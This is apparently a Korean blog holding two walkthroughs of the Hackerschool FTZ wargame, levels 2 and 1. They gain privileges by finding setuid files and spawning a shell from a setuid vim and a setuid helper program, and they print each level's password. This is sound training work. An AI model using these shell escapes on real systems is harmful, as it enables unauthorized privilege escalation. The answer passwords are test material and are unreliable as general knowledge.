반응형
반응형
반응형


해커스쿨 FTZ [LEVEL2] 풀이


M4ndU




해커스쿨 FTZ [LEVEL2] 풀이입니다.


ID | level2

PW | hacker or cracker


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




login as: level2

level2@192.168.31.128's password:

[level2@ftz level2]$ ls -l

total 12

-rw-r--r--    1 root     root           60 Mar 23  2000 hint

drwxr-xr-x    2 root     level2       4096 Feb 24  2002 public_html

drwxrwxr-x    2 root     level2       4096 Jan 16  2009 tmp


hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level2@ftz level2]$ cat hint



텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...


?????????

일단.. level3의 쉘의 명령을 실행시킬수 있어야 하니 level3권한에 setuid가 걸린 파일을 찾아 봅시다.


[level2@ftz level2]$ find / -user level3 -perm -4300 2>/dev/null

/usr/bin/editor


오! 찾았습니다.

이 editor를 실행해 봅시다.
[level2@ftz level2]$ cd /usr/bin
[level2@ftz bin]$ ./editor

~
~
~
~
~
~
~
~
~
~
~
~                              VIM - Vi IMproved
~
~                               version 6.1.320
~                           by Bram Moolenaar et al.
~                 Vim is open source and freely distributable
~
~                        Help poor children in Uganda!
~                type  :help iccf<Enter>       for information
~
~                type  :q<Enter>               to exit
~                type  :help<Enter>  or  <F1>  for on-line help
~                type  :help version6<Enter>   for version info
~
~
~
~
~
~
~
~
~
~
~


vi 에디터네요.


명령어를 수행하는 : 를 누르고, 외부 쉘을 실행시키는 !과 쉘을 얻기 위해 /bin/bash를 입력해 주자.


~

~

~

~

:!/bin/bash



그랬더니 level3의 쉘이 떴다!
my-pass를 통해 패스워드를 확인하자.
[level3@ftz bin]$ my-pass

Level3 Password is "can you fly?".


자, 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ

반응형
반응형


해커스쿨 FTZ [LEVEL1] 풀이


M4ndU




해커스쿨 FTZ [LEVEL1] 풀이입니다.


ID | level1

PW | level1


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.




login as: level1

level1@192.168.31.128's password:

[level1@ftz level1]$ ls -l

total 12

-rw-r--r--    1 root     root           47 Apr  4  2000 hint

drwxr-xr-x    2 root     level1       4096 Dec  7  2003 public_html

drwxrwxr-x    2 root     level1       4096 Jan 16  2009 tmp



hint 파일이 있습니다.


cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.


[level1@ftz level1]$ cat hint



level2 권한에 setuid가 걸린 파일을 찾는다.


level2 권한에 setuid가 걸린 파일을 찾아 봅시다.


find 명령어를 사용하면 됩니다.


[level1@ftz level1]$ find / -user level2 -perm -4300

find: /lost+found: Permission denied

find: /boot/lost+found: Permission denied

find: /proc/1/fd: Permission denied

find: /proc/2/fd: Permission denied

find: /proc/3/fd: Permission denied

....(생략)


하지만 오류가 많아서 우리가 찾고자 하는 파일을 찾기 힘듭니다.

그래서 이 오류들을 제외시켜주는 옵션을 추가해 줍시다.


바로 2> /dev/null 입니다.

여기서 2는 표준에러, /dev/null은 휴지통을 의미합니다.


[level1@ftz level1]$ find / -user level2 -perm -4300 2> /dev/null

/bin/ExecuteMe


찾았습니다!

ExecuteMe가 존재하는 /bin으로 이동하고, ExecuteMe를 실행하겠습니다.


[level1@ftz level1]$ cd /bin

[level1@ftz bin]$ ./ExecuteMe




                레벨2의 권한으로 당신이 원하는 명령어를

                한가지 실행시켜 드리겠습니다.

                (단, my-pass 와 chmod는 제외)


                어떤 명령을 실행시키겠습니까?



                [level2@ftz level2]$



레벨2의 권한으로 원하는 명령어를 실행시켜 준다는데, my-pass와 chmod는 안된다고 합니다.

그렇지만 우리는 다른 방법으로도 level2의 패스워드를 얻을 수 있습니다.


level2의 권한으로 bash를 띄워서 my-pass 명령어를 사용하면 됩니다.


                [level2@ftz level2]$ bash



[level2@ftz level2]$ my-pass


Level2 Password is "hacker or cracker".


이제, 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏ

반응형

+ Recent posts